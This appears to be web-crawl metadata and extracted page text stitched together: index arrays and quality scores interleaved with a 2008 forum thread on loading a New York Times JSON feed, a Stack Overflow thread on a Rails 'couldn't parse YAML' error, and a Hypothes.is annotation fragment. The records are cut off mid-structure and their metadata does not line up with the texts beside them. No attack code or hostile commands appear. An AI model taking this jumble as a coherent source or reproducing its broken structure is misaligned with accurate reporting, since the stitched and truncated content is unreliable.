"line_end_idx": [
147,
148,
473,
474,
485,
486,
494,
495,
686,
687,
725,
726,
741,
742,
863,
864,
907,
1033,
1084,
1086,
1087,
1193,
1194,
1285,
1313,
1386,
1459,
1532,
1605,
1678,
1688,
1689,
1760,
1761,
1819,
1890,
1891,
1905,
1906,
2234,
2235,
2322,
2323,
2417,
2418,
2530,
2532,
2548,
2550,
2551,
2719,
2720,
2798,
2799,
2828,
2829,
2892,
2893,
2898,
2919,
2940,
2961,
2982,
2994,
3000,
3001,
3195,
3196,
3403,
3404,
3527,
3528,
3611,
3657,
3667,
3751,
3772,
3896,
3919,
3956,
3957,
4041,
4063,
4156,
4179,
4216,
4227,
4246,
4265,
4266,
4277,
4278,
4302,
4324,
4325,
4343,
4379,
4407,
4408,
4430,
4451,
4452,
4519,
4537,
4555,
4592,
4617,
4625,
4661,
4685,
4695,
4696,
4737,
4817,
4836,
4841,
4842,
4856,
4881,
4901,
4914,
4915,
5034,
5035,
5142,
5143,
5151,
5152,
5225,
5226,
5276,
5277,
5326,
5327,
5349,
5350,
5604,
5605,
5777,
5778,
5789,
5790,
5824,
5842,
5893,
5911,
5953,
6005,
6071,
6089,
6095,
6096,
6101,
6102,
6278,
6279,
6567,
6568,
6644,
6645,
7121,
7122,
7136,
7154,
7175,
7208,
7246,
7258,
7288,
7289,
7323,
7325,
7363,
7369,
7430,
7440,
7496,
7599,
7661,
7733,
7818,
7868,
7882,
7958,
7972,
7982,
7983,
8040,
8050,
8075,
8089,
8135,
8232,
8337,
8338,
8414,
8511,
8642,
8643,
8675,
8693,
8740,
8867,
8938,
9013,
9014,
9118,
9149,
9198,
9261,
9292,
9352,
9479,
9569,
9646,
9695,
9726,
9773,
9802,
9870,
9923,
9954,
9972,
9986,
9996,
10002,
10007,
10008,
10117,
10118,
10185,
10186,
10248,
10249,
10263,
10293,
10323,
10356,
10405,
10443,
10465,
10496,
10526,
10527,
10553,
10555,
10611,
10617,
10672,
10682,
10747,
10786,
10796,
10802,
10803,
10857,
10863,
10918,
10928,
10997,
11036,
11046,
11052,
11053,
11200,
11271,
11277,
11350,
11376,
11386,
11396,
11397,
11527,
11537,
11660,
11716,
11796,
11810,
11866,
11908,
11923,
11924,
11980,
12042,
12056,
12092,
12140,
12177,
12218,
12259,
12274,
12275,
12428,
12496,
12602,
12616,
12676,
12692,
12792,
12806,
12849,
12906,
12922,
12923,
12970,
13026,
13103,
13165,
13166,
13221,
13272,
13345,
13393,
13407,
13551,
13565,
13593,
13603,
13609,
13610,
13697,
13698,
13704,
13828,
13889,
13890,
13981,
13991,
14083,
14093,
14094,
14228,
14238,
14361,
14371,
14377,
14379,
14380,
14495,
14496,
14530,
14568,
14569,
14644,
14645,
14675,
14827,
14856,
14878,
15000,
15001,
15014,
15117,
15155,
15189,
15216,
15258,
15431,
15600,
15617,
15726,
15727,
15746,
15770,
15785,
15804,
15813,
15814,
15825,
15826,
16107,
16108,
16154,
16155,
16158,
16159,
16319,
16320,
16380,
16381,
16687,
16688,
16729,
16730,
16773,
16811,
16846,
16936,
16978,
17049,
17125,
17183,
17184,
17226,
17227,
17297,
17322,
17323,
17401,
17402,
17493,
17590,
17700,
17702,
17703,
17807,
17808,
18135,
18136,
18160,
18161,
18251,
18252,
18377,
18378,
18634,
18635,
18686,
18687,
18763,
18789,
18850,
18881,
18896,
18897,
18943,
18944,
19085,
19140,
19205,
19256,
19315,
19363,
19421,
19472,
19480,
19481,
19525,
19526,
19592,
19593,
19626,
19670,
19719,
19764,
19809,
19862,
19910,
19957,
20004,
20051,
20099,
20105,
20135,
20136,
20222,
20232,
20314,
20381,
20382,
20469,
20569,
20658,
20747,
20855,
20944,
21042,
21140,
21238,
21331,
21332,
21390,
21391,
21392,
21393,
21403,
21432,
21514,
21524,
21606,
21673,
21674,
21761,
21861,
21950,
22039,
22147,
22236,
22334,
22432,
22530,
22623,
22624,
22682,
22683,
22684,
22685,
22695,
22724,
22725,
22760,
22761,
22846,
22848,
22877,
22883,
22937,
22972,
22978,
22987,
22993,
23054,
23060,
23061,
23425,
23426,
23553,
23554,
23560,
23561,
23584,
23658,
23694,
23878,
23893,
24037,
24053,
24064,
24071,
24094,
24149,
24156,
24179,
24281,
24288,
24289,
24400,
24401,
24440,
24693,
24734,
24833,
24875,
24886,
24899,
24911,
25061,
25173,
25208,
25241,
25255,
25269,
25304,
25319,
25334,
25348,
25362,
25399,
25414,
25429,
25443,
25457,
25494,
25509,
25524,
25539,
25552,
25561,
25562,
25570,
25571,
25618,
25715,
25752,
25772,
25840,
25931,
25995,
25996,
26078,
26079,
26095,
26107,
26121,
26135,
26136,
26151,
26163,
26164,
26245,
26246,
26394,
26395,
26450,
26451,
26506,
26507,
26820,
26821,
26869,
26914,
26952,
26953,
27082,
27083,
27124,
27125,
27133,
27134,
27192,
27193,
27318,
27319,
27369,
27370,
27410,
27411,
27440,
27441,
27477,
27478,
27499,
27500,
27519,
27520,
27545,
27546,
27571,
27572,
27592,
27616,
27640,
27641,
27704,
27705,
27786,
27792,
27871,
27923,
27999,
28081,
28125,
28158,
28203,
28236,
28272,
28282,
28323,
28358,
28368,
28381,
28391,
28433,
28469,
28479,
28480,
28518,
28528,
28569,
28604,
28614,
28627,
28637,
28679,
28715,
28725,
28726,
28732,
28733,
29180,
29181,
29565,
29566,
29663,
29664,
29706,
29707,
29823,
29824,
29983,
29984,
30162,
30163,
30273,
30274,
30422,
30423,
30669,
30670,
30745,
30746,
30782,
30783,
30817,
30853,
30879,
30881,
30882,
30885,
30934,
30985,
31044,
31045,
31077,
31146,
31217,
31249,
31250,
31296,
31298,
31299,
31384,
31385,
31481,
31482,
31722,
31723,
31828,
31829,
32081,
32082,
32469,
32470,
32929,
32930,
32985,
32986,
33015,
33017,
33026,
33039,
33097,
33111,
33124,
33180,
33194,
33207,
33261,
33275,
33288,
33345,
33359,
33372,
33433,
33447,
33460,
33512,
33526,
33539,
33610,
33687,
33701,
33711,
33712,
33909
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 33909,
"ccnet_original_nlines": 754,
"rps_doc_curly_bracket": 0.0030965199694037437,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.22099968791007996,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.02703551948070526,
"rps_doc_frac_lines_end_with_ellipsis": 0.0013244999572634697,
"rps_doc_frac_no_alph_words": 0.35004714131355286,
"rps_doc_frac_unique_words": 0.34748804569244385,
"rps_doc_mean_word_length": 6.931818008422852,
"rps_doc_num_sentences": 515,
"rps_doc_symbol_to_word_ratio": 0.0015718300128355622,
"rps_doc_unigram_entropy": 6.238649368286133,
"rps_doc_word_count": 3344,
"rps_doc_frac_chars_dupe_10grams": 0.09551337361335754,
"rps_doc_frac_chars_dupe_5grams": 0.11397756636142731,
"rps_doc_frac_chars_dupe_6grams": 0.1096203625202179,
"rps_doc_frac_chars_dupe_7grams": 0.10478860884904861,
"rps_doc_frac_chars_dupe_8grams": 0.10332182794809341,
"rps_doc_frac_chars_dupe_9grams": 0.09551337361335754,
"rps_doc_frac_chars_top_2gram": 0.0020707501098513603,
"rps_doc_frac_chars_top_3gram": 0.0015099199954420328,
"rps_doc_frac_chars_top_4gram": 0.0034512500278651714,
"rps_doc_books_importance": -2567.68212890625,
"rps_doc_books_importance_length_correction": -2567.68212890625,
"rps_doc_openwebtext_importance": -1656.4398193359375,
"rps_doc_openwebtext_importance_length_correction": -1656.4398193359375,
"rps_doc_wikipedia_importance": -1100.20654296875,
"rps_doc_wikipedia_importance_length_correction": -1100.20654296875
},
"fasttext": {
"dclm": 0.8146753311157227,
"english": 0.6510812044143677,
"fineweb_edu_approx": 1.9503754377365112,
"eai_general_math": 0.8475706577301025,
"eai_open_web_math": 0.10852544754743576,
"eai_web_code": 0.9887602925300598
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "4",
"label": "Analyze"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "0",
"label": "No Artifacts"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "2",
"label": "Click Here References"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "3",
"label": "Intermediate Reasoning"
},
"secondary": {
"code": "2",
"label": "Basic Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
-4,541,119,086,634,147,000 |
PDA
View Full Version : Using javascript to extract data from a json feed
bonusball
12-22-2008, 04:25 AM
Hi guys,
I am new to json, trying to give up on my old xml ways and use js to extract some data from a json feed from the New York Times API.
I've been at this for hours now, I just can't seem to get it to work. All I'm trying to do is extract the most basic of data from this feed, but I'm doing something wrong. I heard this was supposed to be easy but it would take me 2 min in xsl!
Anyways, any help would be appreciated.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>nyt comments</title>
<script type="text/javascript" src="http://api.nytimes.com/svc/community/v2/comments/url/exact-match.json?url=http%3A%2F%2Fdotearth.blogs.nytimes.com%2F2008%2F12%2F16%2Fa-cooler-year-on-a-warming-planet%2F&api-key=mschwjy9jpmur8f98nerbjtv"></script>
<script type="text/javascript">
window.onload = function() {
//map array
var nyt_comments = results.comments;
//div we're gonna put it all in
var c_div = document.getElementById("thecomments");
//get placehlder for the comment
var the_comment=""
//get ul started
c_div.innerHTML = "<ul>"
//loop through every element and do stuff
for (i=0;i < nyt_comments.length;i++) {
the_comment ="<li>"+nyt_comments[i].commentSequence+"</li>";
c_div.innerHTML += the_comment
}
c_div.innerHTML += "</ul>"
}
</script>
</head>
<body>
<div id="thecomments"></div>
</body>
</html>
rnd me
12-22-2008, 01:02 PM
you need to use a callback.
you cannot point to a json url through a script tag and get the content, it must be jsonp.
if you were on the site, you could use ajax to grab the json...
bonusball
12-29-2008, 04:35 AM
Thanks. You're right.
|
{
"url": "http://www.codingforums.com/archive/index.php/t-154710.html",
"source_domain": "www.codingforums.com",
"snapshot_id": "crawl=CC-MAIN-2017-30",
"warc_metadata": {
"Content-Length": "5434",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:5G2SM6Y7POHXBNBMQKSVVSZRDHL4WNYN",
"WARC-Concurrent-To": "<urn:uuid:647228b5-d2e8-4b13-acff-99b6dd20c134>",
"WARC-Date": "2017-07-21T04:52:34Z",
"WARC-IP-Address": "199.245.54.187",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:VXKBT7IZUH7BMBSAKILYADC5ZLZTYFI4",
"WARC-Record-ID": "<urn:uuid:312680c4-4c9c-45c0-8412-cb20e3f190e8>",
"WARC-Target-URI": "http://www.codingforums.com/archive/index.php/t-154710.html",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:836cc4a1-3f3a-4000-9840-bf034b1d61ac>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-178-21-169.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2017-30\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for July 2017\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
1,
5,
6,
76,
77,
78,
79,
89,
110,
119,
120,
253,
254,
498,
499,
539,
540,
541,
663,
707,
714,
789,
817,
1067,
1099,
1128,
1140,
1177,
1209,
1261,
1294,
1313,
1330,
1355,
1397,
1437,
1498,
1529,
1531,
1558,
1560,
1570,
1578,
1585,
1614,
1622,
1630,
1631,
1638,
1659,
1687,
1688,
1779,
1780,
1844,
1845,
1855,
1876
],
"line_end_idx": [
1,
5,
6,
76,
77,
78,
79,
89,
110,
119,
120,
253,
254,
498,
499,
539,
540,
541,
663,
707,
714,
789,
817,
1067,
1099,
1128,
1140,
1177,
1209,
1261,
1294,
1313,
1330,
1355,
1397,
1437,
1498,
1529,
1531,
1558,
1560,
1570,
1578,
1585,
1614,
1622,
1630,
1631,
1638,
1659,
1687,
1688,
1779,
1780,
1844,
1845,
1855,
1876,
1897
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 1897,
"ccnet_original_nlines": 58,
"rps_doc_curly_bracket": 0.002108589978888631,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.21984435617923737,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.048638131469488144,
"rps_doc_frac_lines_end_with_ellipsis": 0.01694915071129799,
"rps_doc_frac_no_alph_words": 0.39494162797927856,
"rps_doc_frac_unique_words": 0.632478654384613,
"rps_doc_mean_word_length": 5.897435665130615,
"rps_doc_num_sentences": 31,
"rps_doc_symbol_to_word_ratio": 0.001945529947988689,
"rps_doc_unigram_entropy": 4.7914814949035645,
"rps_doc_word_count": 234,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.024637680500745773,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.017391299828886986,
"rps_doc_frac_chars_top_3gram": 0.0130434799939394,
"rps_doc_frac_chars_top_4gram": 0.018840579316020012,
"rps_doc_books_importance": -223.06932067871094,
"rps_doc_books_importance_length_correction": -223.06895446777344,
"rps_doc_openwebtext_importance": -157.1618194580078,
"rps_doc_openwebtext_importance_length_correction": -157.1618194580078,
"rps_doc_wikipedia_importance": -134.64886474609375,
"rps_doc_wikipedia_importance_length_correction": -134.64886474609375
},
"fasttext": {
"dclm": 0.06872040033340454,
"english": 0.7704799175262451,
"fineweb_edu_approx": 1.321118950843811,
"eai_general_math": 0.34756743907928467,
"eai_open_web_math": 0.10768861323595047,
"eai_web_code": 0.40000826120376587
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.1",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.74",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "1",
"label": "Leftover HTML"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "2",
"label": "Partially Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
7,368,153,745,274,701,000 |
Sign up ×
Stack Overflow is a community of 4.7 million programmers, just like you, helping each other. Join them; it only takes a minute:
I don't know what I did wrong. I try to run 'rails c,' but it just gives me an error. It was working 10 minutes ago. :\
C:/Ruby192/lib/ruby/1.9.1/psych.rb:148:in `parse': couldn't parse YAML at line 2
column 12 (Psych::SyntaxError)
from C:/Ruby192/lib/ruby/1.9.1/psych.rb:148:in `parse_stream'
from C:/Ruby192/lib/ruby/1.9.1/psych.rb:119:in `parse'
from C:/Ruby192/lib/ruby/1.9.1/psych.rb:106:in `load'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/applic
ation/configuration.rb:88:in `database_configuration'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activerecord-3.0.7/lib/active_r
ecord/railtie.rb:58:in `block (2 levels) in <class:Railtie>'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activesupport-3.0.7/lib/active_
support/lazy_load_hooks.rb:36:in `instance_eval'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activesupport-3.0.7/lib/active_
support/lazy_load_hooks.rb:36:in `execute_hook'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activesupport-3.0.7/lib/active_
support/lazy_load_hooks.rb:43:in `block in run_load_hooks'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activesupport-3.0.7/lib/active_
support/lazy_load_hooks.rb:42:in `each'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activesupport-3.0.7/lib/active_
support/lazy_load_hooks.rb:42:in `run_load_hooks'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activerecord-3.0.7/lib/active_r
ecord/base.rb:1904:in `<top (required)>'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/activerecord-3.0.7/lib/active_r
ecord/railtie.rb:32:in `block in <class:Railtie>'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/railti
e.rb:180:in `call'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/railti
e.rb:180:in `each'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/railti
e.rb:180:in `load_console'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/applic
ation.rb:154:in `block in load_console'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/applic
ation/railties.rb:11:in `each'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/applic
ation/railties.rb:11:in `all'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/applic
ation.rb:154:in `load_console'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/comman
ds/console.rb:26:in `start'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/comman
ds/console.rb:8:in `start'
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/comman
ds.rb:23:in `<top (required)>'
from script/rails:6:in `require'
from script/rails:6:in `<main>'
share|improve this question
Can you show us the full backtrace? – Nicolas Buduroi Apr 30 '11 at 16:32
Sure, edited the content. – Serodis Apr 30 '11 at 16:39
Something worth noting: I can use rails c for another project, so it has to be related to my project. – Serodis Apr 30 '11 at 16:42
1
I think, there is some problem in loading database settings from database yaml. verify your database.yml if it is valid – Naren Sisodiya Apr 30 '11 at 16:44
2
Can you post your config/database.yml file, it looks like the problem is in that file. – Rob Di Marco Apr 30 '11 at 17:02
5 Answers 5
up vote 6 down vote accepted
The stack dump mentions database_configuration, so I'd start with your database.yml file.
from C:/Ruby192/lib/ruby/gems/1.9.1/gems/railties-3.0.7/lib/rails/application/configuration.rb:88:in `database_configuration'
share|improve this answer
1
Can you post your config/database.yml file, it looks like the problem is in that file. – Rob Di Marco -- Please post this as an answer, I would like to accept your answer. – Serodis May 5 '11 at 12:26
Try adding this at the beginning of config/boot.rb
require 'yaml'
YAML::ENGINE.yamler= 'syck'
All the Best !!!
share|improve this answer
That worked for me due to a ü in my yaml file. – fivetwentysix Jul 26 '11 at 12:03
Just for the record, YAML doesn't accept tabs as indentation, they must be spaces. Changing tabs to spaces solved it for me ^^
share|improve this answer
This solved it for me on Rails 3.1 and Ruby 1.9.2.p280. Didn't have to use the 'syck' yaml parser. – Dom Oct 17 '11 at 22:44
"Couldn't parse Yaml" Go to your project and see near the project name there is a ! sign.open it and see in which file conflict occurred.right click that file,select Replace with then Latest from Repository.Do this for all the files u changed code.then run the server it will work.
share|improve this answer
I issued this problem with an unquoted * in one of my YAML file.
fr:
simple_form:
yes: Oui
no: Non
required:
text: required
mark: "*"
Hope it will help. :)
share|improve this answer
Your Answer
discard
By posting your answer, you agree to the privacy policy and terms of service.
Not the answer you're looking for? Browse other questions tagged or ask your own question.
|
{
"url": "http://stackoverflow.com/questions/5843104/rails-3-couldnt-parse-yaml",
"source_domain": "stackoverflow.com",
"snapshot_id": "crawl=CC-MAIN-2015-48",
"warc_metadata": {
"Content-Length": "97509",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:XQEN7V7XPI6OXH2SQ47BHHE2SRJNQ5TN",
"WARC-Concurrent-To": "<urn:uuid:3a28a48a-4c67-400a-95aa-ef9dc6fe556d>",
"WARC-Date": "2015-11-27T00:01:07Z",
"WARC-IP-Address": "104.16.37.249",
"WARC-Identified-Payload-Type": null,
"WARC-Payload-Digest": "sha1:KYDUX3MFDSJCH3RTCII5MT6MVOOGP3VE",
"WARC-Record-ID": "<urn:uuid:df908dce-b7af-46d0-b3ae-3de0791482ff>",
"WARC-Target-URI": "http://stackoverflow.com/questions/5843104/rails-3-couldnt-parse-yaml",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:4ceadaff-0623-4a2c-8555-6477fdf36fab>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-71-132-137.ec2.internal\r\nsoftware: Nutch 1.6 (CC)/CC WarcExport 1.0\r\nisPartOf: CC-MAIN-2015-48\r\noperator: CommonCrawl Admin\r\ndescription: Wide crawl of the web for Nov 2015\r\npublisher: CommonCrawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
}
|
{
"line_start_idx": [
0,
10,
138,
139,
259,
260,
341,
373,
443,
506,
568,
649,
703,
784,
845,
926,
975,
1056,
1104,
1185,
1244,
1325,
1365,
1446,
1496,
1577,
1618,
1699,
1749,
1830,
1849,
1930,
1949,
2030,
2057,
2138,
2178,
2259,
2290,
2371,
2401,
2482,
2513,
2594,
2622,
2703,
2730,
2811,
2842,
2883,
2923,
2951,
2956,
3030,
3035,
3091,
3096,
3228,
3232,
3389,
3393,
3515,
3516,
3528,
3529,
3558,
3559,
3649,
3650,
3780,
3806,
3810,
4011,
4012,
4063,
4064,
4079,
4107,
4108,
4125,
4126,
4152,
4157,
4240,
4241,
4368,
4369,
4395,
4400,
4525,
4526,
4808,
4809,
4835,
4836,
4901,
4902,
4906,
4921,
4934,
4947,
4948,
4962,
4983,
4999,
5000,
5022,
5023,
5049,
5050,
5062,
5063,
5065,
5073,
5074,
5152,
5153
],
"line_end_idx": [
10,
138,
139,
259,
260,
341,
373,
443,
506,
568,
649,
703,
784,
845,
926,
975,
1056,
1104,
1185,
1244,
1325,
1365,
1446,
1496,
1577,
1618,
1699,
1749,
1830,
1849,
1930,
1949,
2030,
2057,
2138,
2178,
2259,
2290,
2371,
2401,
2482,
2513,
2594,
2622,
2703,
2730,
2811,
2842,
2883,
2923,
2951,
2956,
3030,
3035,
3091,
3096,
3228,
3232,
3389,
3393,
3515,
3516,
3528,
3529,
3558,
3559,
3649,
3650,
3780,
3806,
3810,
4011,
4012,
4063,
4064,
4079,
4107,
4108,
4125,
4126,
4152,
4157,
4240,
4241,
4368,
4369,
4395,
4400,
4525,
4526,
4808,
4809,
4835,
4836,
4901,
4902,
4906,
4921,
4934,
4947,
4948,
4962,
4983,
4999,
5000,
5022,
5023,
5049,
5050,
5062,
5063,
5065,
5073,
5074,
5152,
5153,
5243
]
}
|
{
"red_pajama_v2": {
"ccnet_original_length": 5243,
"ccnet_original_nlines": 116,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.15889029204845428,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.023329129442572594,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.5075662136077881,
"rps_doc_frac_unique_words": 0.47329649329185486,
"rps_doc_mean_word_length": 6.90423583984375,
"rps_doc_num_sentences": 151,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.133939743041992,
"rps_doc_word_count": 543,
"rps_doc_frac_chars_dupe_10grams": 0.042144570499658585,
"rps_doc_frac_chars_dupe_5grams": 0.05121365934610367,
"rps_doc_frac_chars_dupe_6grams": 0.05121365934610367,
"rps_doc_frac_chars_dupe_7grams": 0.042144570499658585,
"rps_doc_frac_chars_dupe_8grams": 0.042144570499658585,
"rps_doc_frac_chars_dupe_9grams": 0.042144570499658585,
"rps_doc_frac_chars_top_2gram": 0.00853560958057642,
"rps_doc_frac_chars_top_3gram": 0.009335819631814957,
"rps_doc_frac_chars_top_4gram": 0.012003200128674507,
"rps_doc_books_importance": -898.67626953125,
"rps_doc_books_importance_length_correction": -898.67626953125,
"rps_doc_openwebtext_importance": -535.1245727539062,
"rps_doc_openwebtext_importance_length_correction": -535.1245727539062,
"rps_doc_wikipedia_importance": -374.50372314453125,
"rps_doc_wikipedia_importance_length_correction": -374.50372314453125
},
"fasttext": {
"dclm": 0.01841449923813343,
"english": 0.7967557907104492,
"fineweb_edu_approx": 1.2756699323654175,
"eai_general_math": 0.000680800003465265,
"eai_open_web_math": 0.3089714050292969,
"eai_web_code": -0.000004290000106266234
}
}
|
{
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.452",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "5",
"label": "Social/Forum"
},
"secondary": {
"code": "4",
"label": "Code/Software"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "1",
"label": "Leftover HTML"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "4",
"label": "Graduate/Expert Level"
}
}
}
|
672f1e42c33a7f9846924a2431ea77df
|
5,385,123,602,040,235,000 |
2 Matching Annotations
1. Feb 2021
1. For mobile phones, technologies like SMS, MMS and data access were historically usually considered value-added services, but in recent years SMS, MMS and data access have more and more become core services, and VAS therefore has begun to exclude those services.
2. Sep 2015
1. she is merely an artifact used by men to display their prowess.
Women should not be objectified regardless of what the "built environment" is. We have the ability to influence our "built environment" so let's do it in a way that helps to evolve it.
|
{
"url": "https://hypothes.is/search?q=tag%3Aevolve",
"source_domain": "hypothes.is",
"snapshot_id": "crawl=CC-MAIN-2021-49",
"warc_metadata": {
"Content-Length": "31231",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:EVJPBDCNAGQHVYZTCDW67QWTE5LCKGXD",
"WARC-Concurrent-To": "<urn:uuid:e78321a3-9faf-4f54-bd5b-b17e58866255>",
"WARC-Date": "2021-12-07T00:51:03Z",
"WARC-IP-Address": "104.22.55.159",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:WVJPVNGIBBOXQXGMAQYTMYLIISLR726Y",
"WARC-Record-ID": "<urn:uuid:8d31dcbc-3a0c-4727-a71e-e0eb33b8c5e2>",
